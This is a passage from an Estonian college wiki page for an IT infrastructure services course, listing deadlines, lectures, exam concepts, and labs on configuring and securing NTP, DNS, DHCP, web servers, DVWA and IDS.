Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88629</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88629"/>
		<updated>2015-05-18T07:48:19Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
